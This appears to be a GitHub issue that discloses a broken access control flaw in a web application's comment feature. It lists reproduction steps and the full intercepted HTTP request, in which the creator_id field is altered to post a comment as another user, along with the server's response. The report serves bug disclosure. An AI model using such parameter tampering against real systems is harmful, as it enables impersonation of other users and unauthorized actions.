-
Notifications
You must be signed in to change notification settings - Fork 23
Open
Description
Steps to reproduce:
- register and login as normal user
- Post a comment
- Intercepted the request and changed the creator id to another user
- Resent the request as the other user
Here are the request and responses showing posting a comment as another user. For reference my user has an id of 1002
Attack Request
POST /comment HTTP/1.1
Host: 192.168.99.100:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Referer: https://192.168.99.100:8443/wall?user_id=1002
Cookie: JSESSIONID=CB39DD1389BDE85C38D86EDE670B1363
Connection: close
Upgrade-Insecure-Requests: 1
on_wall=1&creator_id=486&post_id=2892&content=Sandra Comment
Attack Response
HTTP/1.1 302
Location: wall?user_id=1002#2892
Content-Length: 0
Date: Thu, 26 Oct 2017 13:45:32 GMT
Connection: close
Metadata
Metadata
Assignees
Labels
No labels